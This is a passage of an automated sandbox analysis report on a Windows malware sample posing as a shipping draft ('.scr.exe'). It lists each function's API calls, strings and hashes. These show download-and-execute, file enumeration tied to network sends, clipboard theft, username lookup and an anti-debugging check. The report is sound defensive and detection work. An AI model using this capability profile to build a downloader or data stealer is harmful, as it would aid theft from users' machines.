                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                                                                                        • String ID:
                                                                                        • API String ID: 1771804793-0
                                                                                        • Opcode ID: 9b645307c49ece523b116fa648223e4d0ed288365c05ee1dbdf173a36bd7f3be
                                                                                        • Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
                                                                                        • Opcode Fuzzy Hash: 9b645307c49ece523b116fa648223e4d0ed288365c05ee1dbdf173a36bd7f3be
                                                                                        • Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                                                                                        Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
                                                                                        • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0
                                                                                        Strings
                                                                                        • open, xrefs: 00406FB6
                                                                                        • C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, xrefs: 00407007, 0040712F
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: DownloadExecuteFileShell
                                                                                        • String ID: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe$open
                                                                                        • API String ID: 2825088817-2204405884
                                                                                        • Opcode ID: 2b237405c553a9a1b0e8afa968ba7ab87aca62d7634961c01fb43f6f663e2fce
                                                                                        • Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
                                                                                        • Opcode Fuzzy Hash: 2b237405c553a9a1b0e8afa968ba7ab87aca62d7634961c01fb43f6f663e2fce
                                                                                        • Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B
                                                                                        Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                                                                                        • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: FileFind$FirstNextsend
                                                                                        • String ID: XPG$XPG
                                                                                        • API String ID: 4113138495-1962359302
                                                                                        • Opcode ID: ab691d252adf93a793db7f637d0c661f35909e30d32946a99fdb273c158dd0c5
                                                                                        • Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
                                                                                        • Opcode Fuzzy Hash: ab691d252adf93a793db7f637d0c661f35909e30d32946a99fdb273c158dd0c5
                                                                                        • Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B
                                                                                        Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CAD7
                                                                                          • Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
                                                                                          • Part of subcall function 0041376F: RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000), ref: 004137A6
                                                                                          • Part of subcall function 0041376F: RegCloseKey.ADVAPI32(0046611C,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000,?,0040875D,00000001), ref: 004137B1
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseCreateInfoParametersSystemValue
                                                                                        • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                                                                        • API String ID: 4127273184-3576401099
                                                                                        • Opcode ID: 3c2d205688c6346916b5703b91afcadbe5e4724bf31c27c5056ca6af97e88c58
                                                                                        • Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
                                                                                        • Opcode Fuzzy Hash: 3c2d205688c6346916b5703b91afcadbe5e4724bf31c27c5056ca6af97e88c58
                                                                                        • Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF
                                                                                        Function 004432B5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetCurrentProcess.KERNEL32(00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG,00446136,00000003), ref: 004432D6
                                                                                        • TerminateProcess.KERNEL32(00000000), ref: 004432DD
                                                                                        • ExitProcess.KERNEL32 ref: 004432EF
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Process$CurrentExitTerminate
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 1703294689-263838557
                                                                                        • Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                                                                                        • Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
                                                                                        • Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                                                                                        • Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98
                                                                                        Function 004461F0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 464COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: PkGNG
                                                                                        • API String ID: 0-263838557
                                                                                        • Opcode ID: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
                                                                                        • Instruction ID: a89a86a7c059f2ce1b75669fee0c4fca3fa64158462c9470c468cddaecc71d09
                                                                                        • Opcode Fuzzy Hash: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
                                                                                        • Instruction Fuzzy Hash: FB025D71E002199BEF14CFA9D8806AEBBF1FF49324F26416AD819E7344D734AE41CB85
                                                                                        Function 004520C3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452117
                                                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452168
                                                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452228
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorInfoLastLocale$_free$_abort
                                                                                        • String ID:
                                                                                        • API String ID: 2829624132-0
                                                                                        • Opcode ID: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                                                                                        • Instruction ID: 4b80d7ab7a7ff47978e382ad652e238d088576b56b9f239e8998609391b98480
                                                                                        • Opcode Fuzzy Hash: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                                                                                        • Instruction Fuzzy Hash: B961C1315006079BDB289F25CE82BBB77A8FF05306F1041ABED15C6642F7B89D89DB58
                                                                                        Function 0043BB22 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • IsDebuggerPresent.KERNEL32 ref: 0043BC1A
                                                                                        • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0043BC24
                                                                                        • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC31
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                        • String ID:
                                                                                        • API String ID: 3906539128-0
                                                                                        • Opcode ID: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                                                                                        • Instruction ID: cbfc558a7ca4bb69983b526de44ffd1abc81b2e56a4044740c9350c1ecaeaada
                                                                                        • Opcode Fuzzy Hash: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                                                                                        • Instruction Fuzzy Hash: E131C27590121DABCB21DF65DD89BCDBBB8AF08311F5051EAE80CA6251EB349F858F48
                                                                                        Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,?,004334BF,00000034,?,?,00000000), ref: 00433849
                                                                                        • CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,PkGNG,00433552,?,?,?), ref: 0043385F
                                                                                        • CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,PkGNG,00433552,?,?,?,0041E251), ref: 00433871
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Crypt$Context$AcquireRandomRelease
                                                                                        • String ID:
                                                                                        • API String ID: 1815803762-0
                                                                                        • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                                                                        • Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
                                                                                        • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                                                                        • Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C
                                                                                        Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenClipboard.USER32(00000000), ref: 0040B711
                                                                                        • GetClipboardData.USER32(0000000D), ref: 0040B71D
                                                                                        • CloseClipboard.USER32 ref: 0040B725
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Clipboard$CloseDataOpen
                                                                                        • String ID:
                                                                                        • API String ID: 2058664381-0
                                                                                        • Opcode ID: c799312c980d18205df260c4494eeab96c1e87453cdfeac26beaa605c81e592b
                                                                                        • Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
                                                                                        • Opcode Fuzzy Hash: c799312c980d18205df260c4494eeab96c1e87453cdfeac26beaa605c81e592b
                                                                                        • Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD
                                                                                        Function 00434C52 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • IsProcessorFeaturePresent.KERNEL32(0000000A,00000000), ref: 00434C6B
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: FeaturePresentProcessor
                                                                                        • String ID:
                                                                                        • API String ID: 2325560087-3916222277
                                                                                        • Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                                                                                        • Instruction ID: b6e659610939bc40af268f25ffb2b9965a4fe426cdd66f7fc4435c5297b2c53a
                                                                                        • Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                                                                                        • Instruction Fuzzy Hash: EE515471D002089BEB24CF69D9856DEBBF4FB48354F24956BD819EB350D378AA80CF94
                                                                                        Function 0044E879 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: .
                                                                                        • API String ID: 0-248832578
                                                                                        • Opcode ID: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                                                                                        • Instruction ID: 28de479bcd0ee174bbf7ea2f8c467f6584cf945aa63ddb2e5cfeaaf716254919
                                                                                        • Opcode Fuzzy Hash: 6d782d14881953f3dc1aa7198760a6549ba6db1eba9a251ec7cea06479966fa1
                                                                                        • Instruction Fuzzy Hash: 233106B2900149AFEB249E7ACC85EEB7BBDEF45304F1001AEE819D7291E6349D458B54
                                                                                        Function 00451F9B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                        • EnumSystemLocalesW.KERNEL32(004520C3,00000001,00000000,?,lJD,?,004526F0,00000000,?,?,?), ref: 0045200D
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                        • String ID: lJD
                                                                                        • API String ID: 1084509184-3316369744
                                                                                        • Opcode ID: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                                                                                        • Instruction ID: 7d3ee128790e63e9d167a680a676634a6e0759605f9449bc3b94779c572ada63
                                                                                        • Opcode Fuzzy Hash: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
                                                                                        • Instruction Fuzzy Hash: E51125372007019FDB189F39C8916BABB91FF8075AB14482EEE4687B41D7B9A946CB44
                                                                                        Function 00452036 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                        • EnumSystemLocalesW.KERNEL32(00452313,00000001,?,?,lJD,?,004526B4,lJD,?,?,?,?,?,00444A6C,?,?), ref: 00452082
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                        • String ID: lJD
                                                                                        • API String ID: 1084509184-3316369744
                                                                                        • Opcode ID: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                                                                                        • Instruction ID: 5d4b7cb44ca553c54ae5d492338df10e7871f8ce083c0ea6e3a4370b1d871309
                                                                                        • Opcode Fuzzy Hash: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
                                                                                        • Instruction Fuzzy Hash: 44F0FF322003055FDB245F798881A7A7B95FB82769B14446EFE428B681D7F9AC02C604
                                                                                        Function 004488ED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,004444CA,?,00000004), ref: 00448940
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: InfoLocale
                                                                                        • String ID: GetLocaleInfoEx
                                                                                        • API String ID: 2299586839-2904428671
                                                                                        • Opcode ID: 2d8ab5e4c08eb423885d267f31dc3d21c73ce0c4a0b39471804a4927225e8e03
                                                                                        • Instruction ID: 280d24bb3358c3803ceca68c405fa8cd3b52f77a8ef21af096b961815111c089
                                                                                        • Opcode Fuzzy Hash: 2d8ab5e4c08eb423885d267f31dc3d21c73ce0c4a0b39471804a4927225e8e03
                                                                                        • Instruction Fuzzy Hash: D1F02B31A40308F7DB119F61DC02F7E7B15DF08751F10056EFC0926261CE399D159A9E
                                                                                        Function 00412077 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37), ref: 004120E7
                                                                                        • HeapFree.KERNEL32(00000000), ref: 004120EE
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Heap$FreeProcess
                                                                                        • String ID:
                                                                                        • API String ID: 3859560861-0
                                                                                        • Opcode ID: bbc8ffc4057debe9872561f5e92b4f6919ce40f9ddced797a216f9a420f6d04b
                                                                                        • Instruction ID: eee285bae3a3c664d400e4c5f5e220380537cd22e0998a3ce94cd1697e41dfe3
                                                                                        • Opcode Fuzzy Hash: bbc8ffc4057debe9872561f5e92b4f6919ce40f9ddced797a216f9a420f6d04b
                                                                                        • Instruction Fuzzy Hash: 16112A32000B11EFC7305F64DE85957BBE9FF08715314892EE29696921CB76FCA0CB58
                                                                                        Function 00452313 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452367
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$_free$InfoLocale_abort
                                                                                        • String ID:
                                                                                        • API String ID: 1663032902-0
                                                                                        • Opcode ID: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                                                                                        • Instruction ID: a0857f467e030380fa261c038abb83aeded24e37e53cd803257bf99bba5c3bcd
                                                                                        • Opcode Fuzzy Hash: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                                                                                        • Instruction Fuzzy Hash: 0121B632550206ABDB249E35DD41BBA73A8EF05316F1001BFFD01D6242EBBC9D59CB58
                                                                                        Function 00452543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                        • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004522E1,00000000,00000000,?), ref: 0045256F
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$InfoLocale_abort_free
                                                                                        • String ID:
                                                                                        • API String ID: 2692324296-0
                                                                                        • Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                                                                                        • Instruction ID: deb82abe2421a0f23b1c286da40711a82d27d1439ce4f734d0a93897c1f260ce
                                                                                        • Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                                                                                        • Instruction Fuzzy Hash: 3EF0993290011ABBDB245A20C916BBB3768EB01316F04046BEC05A3241FBB8FD05C698
                                                                                        Function 0041B60D Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: NameUser
                                                                                        • String ID:
                                                                                        • API String ID: 2645101109-0
                                                                                        • Opcode ID: 3d7d98170efc6b6b629f93dc404fb63378f1138ab074e43b779f7395dc78dc1a
                                                                                        • Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
                                                                                        • Opcode Fuzzy Hash: 3d7d98170efc6b6b629f93dc404fb63378f1138ab074e43b779f7395dc78dc1a
                                                                                        • Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8
                                                                                        Function 00448404 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(?,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                                                                                        • EnumSystemLocalesW.KERNEL32(004483BE,00000001,0046EAD0,0000000C), ref: 0044843C
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CriticalEnterEnumLocalesSectionSystem
                                                                                        • String ID:
                                                                                        • API String ID: 1272433827-0
                                                                                        • Opcode ID: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                                                                                        • Instruction ID: 9543b0ab25bad403ee5e8d2735ec903229a0e0f586434e65d0c90a277242bfd4
                                                                                        • Opcode Fuzzy Hash: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
